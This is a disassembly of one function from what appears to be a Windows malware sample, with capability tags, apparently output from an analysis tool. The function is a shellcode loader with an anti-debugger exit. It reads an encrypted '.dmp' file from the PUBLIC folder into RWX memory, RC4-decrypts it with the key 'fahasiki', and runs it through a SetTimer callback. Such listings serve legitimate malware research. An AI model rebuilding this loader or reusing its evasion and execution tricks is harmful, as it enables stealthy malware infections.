Function at 0x401160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Query environment variable
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ea96
mov eax, dword fs:[0]
push eax
sub esp, 0x164
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40119f
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x114]
push eax
push str.PUBLIC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xorps xmm0, xmm0
mov dword [ebp - 0x11c], 0
lea esi, [ebp - 0x114]
mov dword [ebp - 0x118], 0
movups xmmword [ebp - 0x12c], xmm0
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4011e0
sub esi, ecx
cmp esi, 0x7fffffff
ja 0x4016fb
cmp esi, 0xf
ja 0x40122b
push esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x11c], esi
push eax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x118], 0xf
push eax
call fcn.00404540
mov byte [ebp + esi - 0x12c], 0
jmp 0x4012c1
mov edi, esi
or edi, 0xf
cmp edi, 0x7fffffff
jbe 0x401263
mov ecx, 0x80000000
mov edi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.00401b46
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x401705
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x401291
mov eax, 0x16
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
test eax, eax
je 0x401291
cmp eax, 0x1000
jb 0x401288
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401700
jmp 0x401245
push eax
call fcn.00401b46
add esp, 4
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x168], eax
push ecx
push eax
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x118], edi
call fcn.00404540
mov eax, dword [ebp - 0x168]
mov byte [eax + esi], 0
add esp, 0xc
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x118]
mov eax, edx
mov ecx, dword [ebp - 0x11c]
sub eax, ecx
push 0x11
cmp eax, 0x11
jb 0x401317
cmp edx, 0xf
lea esi, [ebp - 0x12c]
lea eax, [ecx + 0x11]
cmova esi, dword [ebp - 0x12c]
add esi, ecx
mov dword [ebp - 0x11c], eax
push str.XWFLhmvpbxcE.dmp
push esi
call fcn.00404540
add esp, 0xc
mov byte [esi + 0x11], 0
lea eax, [ebp - 0x12c]
jmp 0x401332
push ecx
mov byte [ebp - 0x16c], 0
lea ecx, [ebp - 0x12c]
push dword [ebp - 0x16c]
push 0x11
call fcn.004017d0
mov dword [ebp - 0x138], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x148], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x138], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x118]
cmp ecx, 0xf
jbe 0x4013b6
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4013ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401705
push ecx
push edx
call fcn.00401b76
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CreateFileA
push str.kernel32.dll
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
cmp dword [ebp - 0x134], 0xf
lea ecx, [ebp - 0x148]
push 0
cmova ecx, dword [ebp - 0x148]
push 0
push 3
push 0
push 1
push 0x80000000
push ecx
call eax
push 0
push eax
mov dword [ebp - 0x168], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push str.VirtualProtect
push str.kernel32.dll
mov dword [ebp - 0x170], eax
call edi
push eax
call esi
push str.VirtualAlloc
push str.kernel32.dll
call edi
push eax
call esi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x130], 0x1000
call eax
mov dword [ebp - 0x16c], eax
test eax, eax
jne 0x4014be
mov ecx, dword [ebp - 0x134]
cmp ecx, 0xf
jbe 0x4014a3
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401499
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f6
push ecx
push edx
call fcn.00401b76
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401b38
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x168]
lea ecx, [ebp - 0x130]
push 0
push ecx
push 0x100000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401469
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0
sub esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x128]
call fcn.00401930
mov esi, dword [ebp - 0x128]
mov ecx, 8
movaps xmm1, xmmword [0x413de0]
lea edx, [esi + 0x20]
nop
lea eax, [ecx - 8]
movd xmm0, eax
lea edx, [edx + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [ecx - 4]
paddd xmm0, xmm1
movups xmmword [edx - 0x60], xmm0
movd xmm0, eax
lea eax, [ecx + 4]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x50], xmm0
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x40], xmm0
movd xmm0, eax
lea eax, [ecx - 8]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x30], xmm0
cmp eax, 0x100
jl 0x401540
xor edi, edi
xor edx, edx
mov ecx, dword [esi + edx*4]
mov eax, edx
and eax, 7
movzx eax, byte [eax + str.fahasiki]
add eax, ecx
add edi, eax
and edi, 0x800000ff
jns 0x4015c4
dec edi
or edi, 0xffffff00
inc edi
mov eax, dword [esi + edi*4]
mov dword [esi + edx*4], eax
inc edx
mov dword [esi + edi*4], ecx
cmp edx, 0x100
jl 0x4015a1
xor edx, edx
mov dword [ebp - 0x168], edx
cmp dword [ebp - 0x170], edx
jbe 0x401659
mov edi, dword [ebp - 0x118]
nop dword [eax]
inc edx
and edx, 0x800000ff
jns 0x401601
dec edx
or edx, 0xffffff00
inc edx
mov ecx, dword [esi + edx*4]
add edi, ecx
and edi, 0x800000ff
jns 0x401616
dec edi
or edi, 0xffffff00
inc edi
mov eax, dword [esi + edi*4]
mov dword [esi + edx*4], eax
mov dword [esi + edi*4], ecx
mov eax, dword [esi + edx*4]
add eax, ecx
and eax, 0x800000ff
jns 0x401632
dec eax
or eax, 0xffffff00
inc eax
mov al, byte [esi + eax*4]
mov ecx, dword [ebp - 0x168]
mov esi, dword [ebp - 0x16c]
xor byte [ecx + esi], al
inc ecx
mov esi, dword [ebp - 0x128]
mov dword [ebp - 0x168], ecx
cmp ecx, dword [ebp - 0x170]
jb 0x4015f0
push dword [ebp - 0x16c]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0
push 0
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
test esi, esi
je 0x4016be
mov ecx, dword [ebp - 0x120]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x4016b4
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f6
push ecx
push esi
call fcn.00401b76
add esp, 8
mov ecx, dword [ebp - 0x134]
cmp ecx, 0xf
jbe 0x4014a3
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401499
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401499
call fcn.00404e1c
call fcn.00401150
call fcn.004010b0
call fcn.00404e1c
int3